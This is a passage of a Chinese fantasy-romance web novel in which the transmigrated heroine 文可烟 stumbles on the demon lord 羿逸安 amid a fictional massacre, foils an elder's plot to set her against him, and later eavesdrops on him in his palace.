遥记当初,那时他还不知道“一线生机”究竟是何等药性的药丸。只是出于一时好奇与玩弄之心,如同做一场无聊的实验般,给那些被天界送来的傀儡,都喂下了一颗。左右不过天界的弃子,是死是活都无关紧要,不值得他多费一丝心思。 后来,结果不出他所料,那些弃子都死了,可……唯有这个小殿下。 还未等文可烟想出个所以然,大长老就留下一个意味深长的眼神,带着一众魔,身形一闪,消失在了空气中,就像从来没有来过那般。 文可烟:“……” 不是,这老头带这么一众魔,说这么几句不知所云的话,究竟是来干嘛的? 大长老也许自己也没想到,他这步旗下的差劲至极。他以为,通过煽动文可烟去刺杀羿逸安,迫使她完成一开始天界赋予的任务。 如此一来,一旦文可烟动手,她在魔界将会成为人人喊打、人人得而诛之的可怜虫,成为所有魔族欲除之而后快的眼中钉、肉中刺。 当然,杀人诛心的是,他心里清楚得很,魔尊何等强大,又怎会被文可烟这个术法低微、如蝼蚁般渺小的人轻易杀掉?他不过是在借刀杀人。 到时候,就算魔尊心中对文可烟有那么一丝说不清道不明的情愫,可在魔界众魔那如激烈如潮的民愤面前,又岂能轻易护她周全? 可……大长老他算错了,错就错在,高估了文可烟对他言外之意的理解能力,文可烟根本没领悟到他这么大费周章地来净地,到底是为了什么。 错就错在,低估了文可烟内心真实的想法,刺杀羿逸安从来就不是她所求之事,她所渴望的,不过是能了无痛苦地死在羿逸安的手中。 周边一切都平息下来,文可烟心却一阵慌乱,眼皮不受控制地跳得更快了,一下又一下,就像是有什么十分必要的事一直督促着她走出这片魔族净地。 44. 变动(二) 百年一次的“六界玄灵天枢筵”,听那老头的意思,应该算得上是六界之中最为盛大的筵席了吧。 文可烟微微仰起头,望着那虚空之处,脑海中不禁浮现出画面—— 届时,应该会来很多很多仙者能者吧。 他们各个身怀绝技,术法定是出神入化,挥手间便能移山填海吧。 最关键的是,他们应该很会齐心协力吧。 …… ……羿逸安那么强大,即使这样,他应该也不会受伤的吧。 文可烟的手不自觉地揪住了衣角,她可不是害怕他死,她只是害怕他若有个万一,自己就无法毫无痛楚地死了。 还未完全想清楚,一阵刺目的亮光突然袭来,刺得她猛地回过神来。再定睛一看,她已然出了净地,站在了净地结界口。 而屹立在上方的广阔净地,竟被收拢,一点点回收至她袖中的九尾狐簪里。与此同时,连带着胸前那枚九尾狐吊坠也开始泛起细碎光芒。 文可烟从袖中抽出九尾狐簪,簪身流转的光泽,与她胸前的吊坠遥相呼应,二者同时闪起了同样频率的细光。 她的目光在簪子和吊坠之间来回游移,脑海中不禁浮现出一个大胆的猜想:难道,这片净地,是这九尾狐簪和九尾狐吊坠合在一起造就的?而且看这架势,二者合在一起时,似乎也拥有将净地收回的力量。 来不及细想,一股强大的力量引动着文可烟行走。吊坠光芒开始变化起来,逐渐闪起和之前一样引领她寻找羿逸安的淡淡光芒。 昏暗的走廊因这微弱光芒渐渐变得不再那么恐怖,文可烟脚步不停歇地走着。 只是,这一路上奇怪得很。四周安静得过分,没什么魔出现,就连平日普通侍女都不见,整个走廊异常冷清。 大长老不是说今日是“六界玄灵天枢筵”吗?怎么一个影子也没有,不管是妖影,还是仙影,亦或是人影,都像消失了一般。 “烟烟,你走这么急做什么?” 文可烟侧过头,定定看了好几秒白酒,那小家伙正扑腾着翅膀在她头顶上飞着。 其实,从最初白酒就一直待在文可烟身边,只不过她一路上只顾着赶路,忽略了白酒的存在。 嗯,她一定是因为太怕白酒从此没了主人,才这么急匆匆的。也一定是因为白酒在,她走这阴森恐怖的路才一点儿也不觉害怕,甚至忽略了这沿途的昏暗与恐怖。 嗯,对,就是这样。 文可烟轻轻点了点头,给自己找一个合适的理由。 不知饶了多久,直到无路可走,她被吊坠带到了一道屏障处。就在她呼气的一瞬间,画面斗转星移,四周的景象瞬息万变。原先昏暗压抑的空间消失不见,取而代之的是一片热闹非凡的景象。 本以为这魔族领域,除了幽深黑暗、阴森可怖的地牢小廊设计,便再无其他景致可言。可今日,文可烟倒是因为这百年一次的“六界玄灵天枢筵”,大开眼界了。 原来,魔族竟还有此等亮堂热闹的场所。 设计独特的烛火将四周映照得如同白昼,精美的装饰错落有致,欢声笑语此起彼伏,真真是别有一番洞天。 四周密密麻麻皆是化为人形的各界有头有脸的翘楚,个个气质卓然,往那儿一站,便自成一道风景,自带光芒,将这方天地都映衬得熠熠生辉。 瞧,那一角,几位仙风道骨的仙者正与身旁之人谈笑风生;再看这边,几位豪爽的侠士正举杯共饮,酒杯相碰,酒液在杯中荡漾;还有甚者,竟大庭广众之下心安理得当个吃货,吃得那叫一个香。 文可烟被这番阵仗唬住了,一动也不敢动,足足在原地站了半盏茶时间。 若不是她站得那般规规矩矩,本就出众的容貌在这熙熙攘攘的人群中便愈发显得夺目耀眼。 再加上,她站在路中央,挡了旁人前行的路,引得更多人因她那绝美的外貌而纷纷投来目光。那些目光一道接着一道,越来越多,越来越危险…… 白酒也不至于用它那短小的四肢悄悄在暗处拉她的衣摆,恨不得拖着她赶紧离开这是非之地。 兴许是文可烟自己也不太适应被这么多目光注视,只觉得如站针毡,十分不自在。她赶紧抬手掩着面,匆匆越过人群,往一处偏僻无人的地方疾行。 好巧不巧,这偏僻的小角落,正是吊坠指示文可烟的路径。 文可烟不禁在心中苦笑,这也……太天助她也了,真是冥冥之中推着她走,不走还不行。 她跟着吊坠的指引,又走过长长的一段路。走到一半,不知怎的,她鬼使神差地回头看了一眼。 这一眼,她呆滞了。身后那热闹繁华的景象已消失不见,取而代之的是黑漆漆的一片,无光无望,寂静得可怕,甚是凄凉。 她似乎也没走那么远吧,怎么连之前经过的那热闹无比的交际场都一点儿也看不见了。 正想着,画面再次陡然一转,她来到了一个比之前稍暗的空间。 虽然两个空间差别不是太大,可文可烟就是能确信自己来到了另一个空间。 隐隐约约间,文可烟只能看到一个模糊的身影。那人肩很是宽广,男子气概十足,正背对着她。 四周一坨坨的东西堆积如山,形状怪异,倒有几分像是一座座小山围在那男子周围。 文可烟分辨不清那是什么。 仔细听,周围似乎还有黏稠的液体滴滴答答落在地上的声音。 细细看去,那些像小山的某几堆东西似乎还在动,有一堆甚至支出来一个柴火般粗细的长长的物体。 文可烟定定看着,眼睛一眨不眨,少顷,她瞪直了双眼——那是…… ! 一只手? 一只苍白而又扭曲变了形的手! 文可烟匆匆抬起了手,死死捂住口鼻。她下意识地向后退了一步,脚步凌乱又踉跄,差点儿一个跟头摔倒在地,慌乱间,她急促地又后退好几步,才勉强稳住身形。 有了这个认知,周围的气味像是从蒸锅里的蒸汽,一下子全朝她扑面而来。恶臭又奇怪的味道瞬间萦绕在她鼻尖,怎么捂也捂不住。 “哈哈哈哈哈……好!好啊!” 一阵放肆的大笑乍现,吓得文可烟浑身一颤,激出一身冷汗,身体像 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明暗交织的光线,将他的情绪严严实实地遮挡起来,文可烟根本无法看清他,也无法通过表情知晓他此刻究竟是个什么心情,什么状态。 不过,其实,就算他全脸都明晃晃摆在她眼前,以他那张压抑感十足的吓人脸,她也未必能看得出来。 欣赏之余,文可烟正集中注意力憋气,她憋得很是难受,好像下一秒就要厥过去。就在这时,这座空间突然亮了起来。 余光下,文可烟注意羿逸安那身黑衣被那些不知名的液体染得更暗了,有几滴液体顺着他的衣摆缓缓流淌,滴落在地,发出沉闷又黏腻的声响。 羿逸安一步一步,朝文可烟走来,周围的压迫感随着距离的减少而不断增多。 文可烟腿下意识往后扫了两步距离,可身体分毫未动。 待羿逸安离她只有三步之遥时,文可烟……吐了。 倒不是被羿逸安逼迫得吓吐的,而是被这难闻的气味恶心吐了。 上次的鬼血已经把她折腾的够呛,今日不只有多少不知名的血,还混合在一起……这味道,真是……“伟大”极了。 她面色苍白地抬起头来,视线由下至上缓缓望向垂眼凝视自己的羿逸安。 这一看,羿逸安脸上惊心触目的血液残迹霎时映入文可烟眼帘,她吓得止住了呼吸,整个人呆立当场,没了表情。 她重重的呼出一口气,无比淡定地,移开了落在羿逸安脸上的视线。 “……” 周围血流成河,唯有暗得发黑的血液在地上肆意流淌。有一条竟顺着文可烟的方向朝她缓缓流淌而来。 四周躺着的生灵不计其数,当真被堆成了一个个小山堆,一个个怒目圆睁,死不瞑目,那惨烈的景象,壮观得让人毛骨悚然。 苍天呐,她文可烟可是二十一世纪正直、遵纪守法的好公民呐!平日虽对世界很是失望,可她从未杀过人呐,哪儿见过这种场面啊! 此刻,明明本该毫无起伏的心,却因为羿逸安而胡乱跳动着。 45. 变动(三) 尽管早就知道他臭名昭著,可第一次这么直观而清晰地看见他杀了这么多生命,她根本无法平静下来。 吐意又开始在胃里翻腾冒泡,一波接一波,她用力捂住嘴唇,努力克制着那股想要呕吐的冲动。 算了,文可烟无奈地想着,还不如看羿逸安这张活魔脸。虽然惊心,但至少是活的。而且不得不承认,他那张脸生得极为好看,即便此刻血溅满脸,也丝毫不减他的俊朗,反而添了几分肆意凌乱之美,似一朵在血雨中傲然孤立的妖冶之花。 即使身处如此恐怖的场面,文可烟还不忘分心吐槽。她一开始的初衷现在全被羿逸安搅得一团糟,她一点儿也不想被牵扯进来啊! 今日就不该听信那老头谗言,好好待在净地不行吗?非要过来闯一闯,是嫌命不够长吗? 好罢,她确实嫌命不太短。 嗯?不对,文可烟突然意识到了什么。 大长老怎么不在这里?刚刚不还听见了他那令人作呕的笑声吗?怎么一转眼就没影了……难不成她刚刚被臭得产生出了幻觉? 但,刚刚明明那么真实。 文可烟再次缓缓环视一周,刚刚昏暗中举着的“柴火”也不见了踪影。周围除了她和羿逸安两个活物,其余的都直挺挺,弯弓弓躺着,咽了气,死绝了。 ……难不成,羿逸安是设了个只有他们两人存在的结界?可他设结界能不能将味道也屏蔽一下啊! 文可烟低着头,双手死死揪着衣角,压抑着难受的生理反应,感觉自己的脑袋都有些晕乎乎的,缓了好一会儿才说:“……我知道你的秘密,所以不想我告诉其他人就赶紧杀了我罢。” 声音一出口,她才发现她自己竟连牙床都在发着颤,更别说说出口的声音了。 她赶紧抬手,捋了捋自己胸口,强压着颤意继续开口:“堂堂魔尊大人应该会提前履行我们的约定罢?” 此时,羿逸安微动了动身子,微微倾斜的身躯现下挺得笔直。接着,他散漫地侧过脸去,轻蔑地笑出了声。 “是吗?本座不早就是杀人不眨眼的大魔头了吗?” 哦,对哦!羿逸安早是臭名昭著的反派了,还怕她这小小又不值一提的威胁?她真是被这恶心死人的味道熏得晕头转向,完全找不到方向了,竟然说出这般毫无头脑的话来。 文可烟暗自懊恼着,耳边就传来羿逸安低暗、如从地狱深渊传来的声音:“你真当我不敢杀你吗?” 听见声音,文可烟心头一紧,下意识抬头看了一眼。这一看,正对上了俯身过来的羿逸安脸颊。 这一瞬间的羿逸安,双睛竟爆出了红血丝,宛如燃烧的缕缕火焰,一股令人胆寒的杀意由眼底蔓延而出。 文可烟想不了那么多,毫无畏惧地与他平静对视,冷静道:“你敢啊。” 不是声嘶力竭地大吼出来,而是十分轻描淡写地陈述了出来。可就是这样小声的“你敢啊”,却把羿逸安整得愣了神,眼神中出现了一瞬间的恍惚。 羿逸安犹豫了,看着眼前乖顺、淡定文可烟,他似乎看见了那晚的画面。那时的文可烟一把抓着他的尾巴,眼睛亮晶晶的,俏皮地问他:“魔尊大人为何会有尾巴?” 那时的她,是鲜活的,是灵动的,与现在的这个她判若两人。 两相对比间,羿逸安忽然觉得心里像是被什么东西轻轻撞了一下,一种说不清道不明的不对劲感觉涌上心头。 他觉得文可烟很是奇怪,就像一本永远猜不透也翻不完的书,每一页都藏着不同的惊喜。 前几天,她明明很……乖巧。羿逸安在心里反复琢磨着这个词,“乖巧”二字在舌尖上打转,他也不确定用在这里是否合适,可绞尽脑汁,实在找不到其他更贴切的形容词。他甚至觉得她更生动了,那是一种从骨子里透出来的鲜活。 她还莫名有些……羿逸安皱着眉头,努力在脑海中搜索着合适的词汇,却始终说不出来。那种感觉,就像雾里看花,明明能看到一些轮廓,却又抓不住实质。 比如,她之前莫名其妙地告诉他不用遵守诺言;又比如有段时间,她没有像之前那般频繁地将“死”字挂在嘴边了,整个人像是被注入了一股新的生机,多了一些灵动的色彩; 再比如,她这段时间面对他时,表情似乎变多了,时而俏皮,时而温柔,时而可爱……很是生气。 这般丰富的模样,让他莫名开始觉得有几分熟悉,似乎在哪见过这些表情…… 羿逸安的脑海中突然浮现出爹爹和娘亲相处的画面,娘亲面对爹爹时,便是这般千变万化的表情…… 可眼前的文可烟,偶尔又会变得不爱说话。就像此刻,她死气沉沉的样子,让他心里发闷,难受得慌。就像是有很多个人格在她体内交替出现,连带着他也开始不对劲起来,接二连三地做出一些连他自己都不知晓是什么的反应。 他有些不明白,眉头紧紧锁起,思来想去也没想出个所以然来。各种念头快速涌来,又迅速退去,只留下一片茫然。 可即便如此,心底深处有个声音在不断叫嚣,他觉得他不该放任不管。无论是从小耳濡目染,爹爹和娘亲之间那种相濡以沫、不离不弃的深厚情感,还是看着眼前身为他妻子的文可烟,他都觉得自己没有责任对她置之不理。 他直起身来,迅速瞥开视线,不再看文可烟。同时,他将手负在身后,手指紧握成拳。 “你不怕他们死,那就去说。” 文可烟一时间没反应过来,歪着头有些不解,“这话是什么意思?” 问话的同时,脑子不停地转动着。某一瞬间,她突然顿悟过来。 是啊,她若是昭告了天下,他大可以把那些人都杀得一个不留?如他从前那般,毫无人性,毫无善心,所过之处,只余死寂与绝望。 其实,文可烟并不慈悲,在这个陌生的世界,她手无缚鸡之力,术法更是啥啥啥都不会,让她去救那些和她毫无瓜葛的人,她就算想就也是心有余而力不足。可要是因她之口,让一群人白白丢了性命,这太过沉重,她根本不敢,也背负不起。 嗯?不对啊,她刚刚不过是知晓 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九尾狐簪和九尾狐吊坠合在一起就能搭建成一个极美好的净地,也能收回,这事儿羿逸安当然知道。这也是他为什么将簪子留在文可烟身边的缘由。他是想着待到万不得已之时,她能带着簪子离开净地,在另一处安全之地重新建立净地。可他万万没想到,文可烟竟会提前出来,以至于提前牵动了九尾簪坠的合力。 现下,若是让她一个人将净地再次引出来,恐会引起不小的波动,更会惹来不必要的麻烦。况且……且不说这个过程需要耗费漫长的时间,就她那点术法,根本不行。 也罢,只能等会儿他亲自将她带离这血腥之地了。 羿逸安眼神一凛,神形中闪过一丝决然。 就在这时,幻境堪堪破裂开来,周围的一切瞬间恢复成昏暗的样子。那根被幻境隐藏起来的“柴火”又显现了出来。 当然,大长老这个糟老头子也依旧站在不远处,用阴狠的眼神盯着文可烟。 看样子,大长老并不知晓羿逸安刚刚将自己带进了私密空间。 只是……这味道真是一点也不含糊呢,越来越浓稠。这私密空间真的不能升级,屏蔽一下嗅觉吗? 文可烟内心抱怨时,不经意间晃眼一看,那滩顺着地面流淌的小血溪,正慢悠悠地朝着她的方向蔓延而来。 眼看着还有十厘米就要抵达她的鞋底了,原本绵软无力的双腿陡然活了过来,文可烟惊恐地瞪大了眼睛。 在这千钧一发之际,也顾不得许多,手脚并用,三下五除二直接一下子蹦到了羿逸安身上。双手紧紧地环住他的脖颈,脚不沾地将全身重力都压在了羿逸安身上,整个人活脱脱像一只八爪鱼一样紧紧地缠住羿逸安。 可……她虽然躲过了小血溪的“残害”,却忽略了羿逸安身上更是泥泞不堪,血迹斑斑。他身上黏腻的血迹正透过薄薄的衣衫,一点一点沾染到她的身上。 传递间,她竟还感受到了温温暖意。 46. 变动(四) 只是,怪异的是,她竟并未觉得这满身的血污有多恶心。相反,她嗅到了阵阵奇异的香甜气息,将周围所有的恶臭都掩盖得干干净净。 或许,也正是因为这股香甜的气息,才让自己忽略了羿逸安满身的血腥与泥泞吧。 羿逸安:“……” 文可烟:“……” 大长老暗自兴奋,眼中的贪婪与算计一览无余:“……” 哈哈哈哈哈,等了这么久,这女子终于要出手了,这次可算是在劫难逃了。 大长老的手指正惬意且有节奏地摩挲着下颌垂落的银白长须。可这看似悠闲的动作下,却隐藏着一颗躁动的心。枯槁面容下,肌肤下的筋脉正暗暗蛄蛹兴奋着,连带着脖颈处的青筋都跟着突突跳动,似在为即将到来的“盛宴”欢呼雀跃,又似在急切地催促着什么。 他眼神死死地盯着前面那两人,嘴角噙着细微又志在必得的笑意,静静地等着坐收渔翁之利,想象着一切按照自己的计划顺利推进。 可左等右等,前面那两人像个雕塑一般,一动不动。 周围安静得可怕,听不见任何声响,唯有那细微的血液“滴答”声,在寂静的空间里格外清晰,一滴又一滴。 这时,大长老的心中渐渐生起一股怪异之感。 难不成小殿下得手了?可不应该啊,以尊上的实力,怎么会如此轻易地就被这女子得逞呢? 大长老按捺不住,向前迈出一步,刚准备踏出第二步,突然,他的动作戛然而止,内心的笑意却被硬生生掐断在了喉咙里。 那两人终于动了,准确地说,是羿逸安动了,他稳稳转动,调转了一个方向,将文可烟轻轻放了下来。 细细瞧去,还能看见文可烟落地后,寸步不离地待在羿逸安身旁,羿逸安走一步,她就跟着走一步,他不动,她就不动。 好一副和谐的画面,哪有半分相互残杀的可能。 “护尊上周全!”大长老一嗓子吼了出来,那声音在寂静的空间里炸开,显得格外惊悚与突兀。 话音刚落,从暗处突然涌出许多魔将,他们一个个手持利刃,伺机待发,静待指令。 “大长老这是做什么?”羿逸安面色平静,不动声色地将一只手斜悬在半空中,这手放的位置好巧不巧,正好挡在文可烟的身前。 大长老站定,脊背挺得直直的,一副不卑不亢,运筹帷幄的样子,大声道:“尊上,这女子正打算对你图谋不轨。” “图谋不轨?”羿逸安轻飘飘地重复了一遍,细细听,便能听出丝微的不悦情绪。 “是,这女子刚刚趴在你身上打算对你行不轨之事。”大长老言之凿凿地说道。 不轨之事? 羿逸安和文可烟两人听见这话,脸色都出现不寻常的表情,各自都不约而同瞥向另一侧。 只是,此“不轨”并非彼“不轨”,这其中的误会,怕是只有他们自己心里清楚了。 “退下!”羿逸安气势十足地喝道,不容抗拒的威严回荡在中魔将耳中,余音绕梁。 将文可烟围成一圈的魔将面面相觑,眼神中满是犹豫与迟疑,可谁都没有动,就像是在等待一个出头鸟率先做出反应。 “捉拿此女子,护魔尊!”大长老在一旁提高了音量。 魔将依旧未动,东张西望望着他周围的魔将,都不敢率先动作,生怕一个不小心就惹恼了魔尊,从未世间再无自己。 文可烟本以为羿逸安还会与他们周旋片刻,可没想到,下一秒,羿逸安竟一把揽住她的腰。 带着她……逃……离开了? 好家伙,这不是大名鼎鼎、令人闻风丧胆的天下第一大反派吗?怎么此刻当起了“逃兵”?堂堂魔尊居然还会在魔族的地盘上逃走? 文可烟只觉脑袋“嗡翁”作响,一片空白。 好吧,虽然这也能体现他人狠话不多的特质,但是魔尊大人会在众魔将面前逃走,真的很前所未闻啊! 文可烟忍不住偷偷抬眼看向羿逸安,只见他神色冷峻,一股决绝的超尘气质由内而生。逃跑都能被他搞得这般清新脱俗,好似不是在躲避危险,而是在进行一场风雅的漫步。 文可烟看着他刚毅而冷峻的侧颜,这一刻,她竟有些痴了,全然忘了自己身处在何处。 羿逸安似是察觉到了她的目光,微微侧过头来,她才恍然,平静淡然地瞥开视线。 事情发生得太过迅速,太过震惊,以至于文可烟只觉眼前一阵天旋地转,等将视线从羿逸安脸上移开时,自己已被羿逸安带回了魔尊寝殿。直到羿逸安松开了揽着她的手,她才如梦初醒,从那虚幻的高空中跌落回实地。 两人都还未来得及休整片刻,下颌就被羿逸安猛地捏住,他的手指微微用力,文可烟被迫抬起头来与他对视。 “你在这儿等我,一定不要出去!” 这是文可烟第一次看见羿逸安产生这么严肃认真。 她紧张得喉咙发紧,咽下一口唾沫,紧接着收敛心神,努力让自己看起来严肃认真,点点头。 只是羿逸安的手仍紧紧钳制着她的下颌,丝毫没有放松的迹象。她原本想小鸡啄米式地点头,以表达自己的决心,此刻却根本无法操作,只能像个被钉在案板上的木偶,只能小幅度的动作还处处受限。 不过,她机灵地转动着眼珠,趁着点头的间隙,暗暗地、小心翼翼地扭转了几下她被捏得死死的下颌,让自己的脸稍微偏移一些。只要能让他的指尖不再正对着她下颌正中间,哪怕只是减轻那么一点点他极美面容带来的冲击力也好。 “这次真的不能儿戏。”羿逸安察觉到她的小动作,指尖用力,将文可烟的脸再次正色过来,迫使她回视自己。 “嗯!”文可烟下意识想要继续点头,以表示自己绝对的顺从,可这次下颌上传来的力度大得惊人,她根本无法动弹半分。 可文可烟已经回答了“嗯”,羿逸安却并未停止手上的力度。 文可烟眨巴眨巴眼睛,以此来代替点头。她偷偷观察羿逸安,察觉到他指尖的力度有所缓和。也不知被自己的样子萌住了,还是认可了自己的态度,总之,力度小了几分。 只是,才刚过一秒,他指尖的力度再次加大,文可烟再次被迫与他目光相撞。他 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当然,羿逸安也不指望她能回答,索性在说完之后,便头也不回地离开了寝殿,只留下一阵清冷的风,在空气中缓缓消散。 偌大的寝宫瞬间安静下来,只剩下文可烟孤零零的一个人。 烛火在微风中轻轻摇曳,发出“噼啪”的声响,像是在诉说着这寂静中的孤独。 文可烟环顾四周,目光所及之处,皆是奢华的装饰,精美的雕花,可这一切却透着一股说不出的凄凉。 这时,她突然想到了自从与羿逸安碰面后,就再也没见到过的白酒。 这灵宠也忒不仗义了,那么难闻的气味竟然让她一个人闻。 说曹操曹操到,正当她有些埋怨的时候,白酒就这么水灵灵地从九尾狐簪里跃了出来。 它先是欢快地在空中环顾飞了一圈,小眼睛滴溜溜地转着,兴奋地说道:“哇,好久没回到这里了,这里竟还贴着这些喜字。主人也真是太喜欢了吧,居然半分改动都没有。” 文可烟被白酒的话说得沉默片刻,心中一阵无语。一时间,她竟不知该说什么,只是静静地站在那里,看着白酒在那儿自顾自地兴奋着。 好一会儿,她才想起转移的话题,问道:“你为何突然不见了?” 白酒听见文可烟提及正事,立马停止了闲逛,飞到文可烟身边,一本正经开始解释:“我也不知道,我刚要和你进去,就被一股力量压迫着回到了簪子里,就好像……那空间不得灵宠入内一般。” 白酒又飞到文可烟的另一侧,继续说道:“本来我还想挣扎片刻,但在进入簪子钱,我似乎看见了有其他魔的存在,索性也不挣扎了。毕竟,若是有外来者,我自己也会主动回到‘小黑屋’的。”它眨眨眼,一脸无辜地看着文可烟,像是在等待她的夸奖。 文可烟沉思一瞬:“那你觉得什么样的空间,不得灵宠入内?” 白酒垂头,有些不好意思地说:“呃……我目前知道的也仅是幻境,当然也不排除一些特殊情况。” 47. 变动(五) “幻境?你是说,我刚刚遇见的都是幻境?刚刚那么真实的恶臭,你告诉我是幻境?” 不行,她不服。而且,羿逸安中途也设了一个幻境给大长老,难不成还能设置出幻境中的幻境,幻中幻? 若真是幻境,那又是谁设的幻境? 大长老?他又为何要设那个幻境呢?仅仅只是为了让她刺杀羿逸安? 文可烟只觉自己的脑袋都要想破了,总觉得自己忽略了一些重要的事情,可她又不知晓这些事情到底是什么。 她烦躁地揉了揉头发,在寝宫里来回踱步。 时间一分一秒地逝去,羿逸安依旧没有回来的迹象。 文可烟懒懒地躺在锦被之上,百无聊赖地望着天花板。腹中虽有些空落落的,但却无半分饿意。 转念一想,自己这株“植物”的身份,似乎也有那么一点儿好处。比如,十天半个月不吃不喝,于她而言,也不会有什么大碍。 可这念头刚一浮现,她便又自嘲地笑了笑,对她来说,这好像并不是什么值得高兴的好事。 时间又过去一大半,来到后半夜。夜色如墨,在雕花窗棂外肆意晕染,将寝宫笼罩在一片静谧而深沉的黑暗里。 文可烟躺在床上,翻来覆去怎么也睡不着。她的眼皮又开始不受控制地跳动起来,心中隐隐有些不安。 胸前的九尾狐吊坠一直在她胸前闪烁着微光。从羿逸安出去大概一个时辰后,这枚吊坠就开始闪烁。 起初文可烟并未在意,可此刻,这无法忽视的光芒却像是刻意在提醒她出门找羿逸安一般。 文可烟看着那枚闪烁的吊坠,心中犹豫不决。她想去寻羿逸安,可又想起他之前的警告…… 她实在受不了了,一个鲤鱼打挺从床上坐了起来。乌黑的长发随着她的动作散落在肩头,她双脚一蹬,一个箭步直接冲到了寝宫门口。 只是,这门死活打不开,不是寻常那种被锁住的打不开,而是以她这种法力低微、毫无术法技巧的身手而言,这辈子都不可能打开,像是被设了结界。 好的,羿逸安为了防止她出门,真是无所不用其极,一层防护外又设一层。 文可烟不甘心,用力推了推,可那门纹丝不动。她跺了一下右脚,灰溜溜地转身踱步回到床边,一屁股坐在了床沿上,双手托腮。 这时,她不经意瞥见白酒正掩在被褥里呼呼大睡,憨态可掬的身子随着呼吸微微起伏。 文可烟灵机一动,索性将白酒叫了起来。 “白酒,白酒。” “嗯?”白酒睁开它那双卡姿兰的大眼睛,只是此刻这大眼睛现下根本未完全睁开,眼皮沉沉地耷拉着。它模模糊糊回应着,意识根本没有回笼。 “你快起来。”文可烟轻轻晃了晃它。 白酒眼睛倏地一睁,清醒了。 淦,敢吵天下第一九尾灵宠睡觉,不要命了! 白酒刚想发作,张牙舞爪地露出小爪子,准备好好“教训”一下这个不知天高地厚的家伙。 下一秒,待它看清眼前人是文可烟时,那股怒火瞬间就像被一盆冷水浇灭了一般,偃旗息鼓。骂人的话语堵在喉间,硬生生地被它咽了下去。 说来也奇怪,文可烟并非白酒名正言顺的主人,可白酒总是下意识遵从文可烟的意思,比起主人,有时甚至更想待在她身边。 这可不是什么好兆头啊。 “怎么了?”白酒回过神来,像是意识到自己不该如此轻易地听文可烟的话,便虚张声势地低吼了一声。只是比起它平时的嗓音,也仅仅只是大了那么一丢丢,丁点儿威慑力都没有,反倒透着几分可爱的笨拙。 文可烟自然未意识到白酒千回百转的心思,一门心思全在眼前的难题上,继续朝着白酒道出最初叫醒它的目的:“寝宫设了结界,你能打开吗?” 白酒回忆起主人离开时对文可烟的嘱咐,主人严肃的表情还历历在目。它小脑袋一昂,义正言辞地拒绝:“不行,你忘记了主人对你说的话了吗?” 说罢,像是想起什么难为情的事情一般。它脑袋一低,小嘴一撅,音调小了下来:“再说了……” 文可烟见白酒整个甚至都肉眼可见地耷拉下来,有些意外。平日里这小家伙可是臭屁得很,如今这般意志消沉,倒让她好奇起来,究竟是想到了什么话能让它如此。 “什么?”文可烟微微倾身低头。 白酒沉默几秒,声音更小了,像是蚊子在哼哼:“主人设置的禁制,我也打不开呀。” “……”文可烟一时语塞。 呃,不是说她打击白酒,只是这也太菜了吧! 文可烟这么想着,嘴上自然也这么说了出来:“你也太菜了吧!你不是号称世间唯一九尾灵宠吗?” 说到这儿,文可烟停顿了几秒,她微微挑眉,继续开口:“唯一啊,那可是唯一啊,唯一说明什么?” 她继续停顿了一瞬,故意拖长了尾音,像是在卖关子。白酒因这停歇,心也提了起来,小小的身子微微前倾,耳朵都竖得直直的,期待着文可烟接下来的话。 “说明是第一啊!”文可烟双手一拍,脸上满是夸张的惊叹。 白酒听见“第一”这个字眼,自然像打足了氢气的气球,身子轻飘飘地也跟着飞了起来,兴奋地在空中转着圈。 文可烟见状,面不改色心不跳继续诱导:“第一可不能说自己不行啊,要是连你都放弃了,那还有谁能打开这禁制呢?”” 说完,她还俏皮地眨了眨眼睛,悄咪咪偷瞄了快飞到寝殿顶端的白酒一眼。 白酒振奋又奶声奶气的声音从顶部传来,“我试试!” 文可烟暗自一喜,拿捏区区白酒这还不手拿把掐。 她郑重其事点了点头:“嗯!你最行了!” 白酒得到文可烟的夸奖,一溜烟就飞到殿门口,小爪子在空中快速舞动,施展起术法来。 一道道微弱的光芒从它爪间散发出来,朝着结界涌去。 在经历第三次尝试后,结界依旧纹丝不动。文可烟蹲在一旁,看着白酒那吃力的模样,心中有些不忍,尝试着劝道:“算了,白酒,毕竟是你主人设置的禁制,你要是不……” “行”字硬生生掐断在喉间,文可烟舌尖一转,换了话语:“不会,也算不上是什么大 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她淡淡“哦”了一声,算是回应。 羿逸安并未多言,只是平淡地移开视线,迈步走进寝宫。 经过文可烟时,扫过来的风都像是含着霜雪般冰冷。而他周身那股香甜的异香,比昨日上午更加浓郁,即便是裹挟着这般寒冷的气息,香气分子却依旧活跃异常,浓稠得好似能滴出水来。 可想而知,他身上的香甜到底有多浓烈了。 他到底做了什么,身上的异香怎么会这么浓稠? 还未等文可烟细想,眼角余光一抹轻巧的身影突然掠过。她条件反射般侧目瞥去,只见点点紫色衣角在不远处一闪而过,有几分熟悉……似乎与羿逸安私下夜会的女子所穿的有几分相似。 哦~原来如此,事情这样就通顺多了。文可烟的眼中闪过一丝了然。想来,这异香定是悦心身上的吧。 只是……文可烟实在想不到,羿逸安还挺擅长时间管理,这么忙,上午在见她之前,竟然还能抽出空来与悦心相见。 怎么不忙死他! 这时,眼角余光又捕捉到另一侧的动向,玄色身影微微一动,正朝着刚刚紫色衣角消失的方向靠近。 文可烟的眼珠一动不动,虽然定定直视前方,可奈何眼角不由自主地留意着那两魔的动向。 不一会儿,寝殿内恢复了安静,只余下一人与一灵宠,一切又回到了最初的模样。 文可烟定定地站在原地,目光在空旷的寝殿内小幅度游离了片刻。确认羿逸安的身影已然远去,她这才缓缓侧首,瞥了一眼他离去的方向。那方向尽头,似乎是寝宫的一方偏殿。 又凝视了片刻,文可烟终于迈开了步伐,走的每一步都显得那么不经意,却又似乎带着某种目的。 在寝宫的一隅,文可烟“不刻意”地从主殿经过,然后,缓缓踱步至偏殿外。 咳咳咳……她必须申明,她绝没有在在意什么,她只是,嗯……只是刚好路过而已。 偏殿外,文可烟小心翼翼却又带着几分鬼祟地站在门外。 48. 变动(六) 说她是贼吧,她站得端端正正,刻意彰显自己的无辜;可她这偷听的行径,又实在难称光明正大,只是她面上装得平静淡然,好似这一切不过是无心之举,只是偶然间走到了这里。 “都送出去了吗?” “尊上,剩下的都送出去了。” “还有遗漏吗?” “没有。” “那现在立刻去处理痕迹,别被发现异常。” 羿逸安和悦心一问一答的声音,透过殿门闷闷地传出来。 文可烟听得有些模糊,意图再靠近一些,探个究竟。可就在她刚准备迈出第二步时,门突然开了。 一抹熟悉的玄色身影,就这么猝不及防挡住了文可烟所有视线。文可烟只觉眼前一黑,脑袋也空白一瞬。她呆站片刻,过了好一会儿,才抬起头,平淡地迎上羿逸安那双带着询问意味的眼睛。 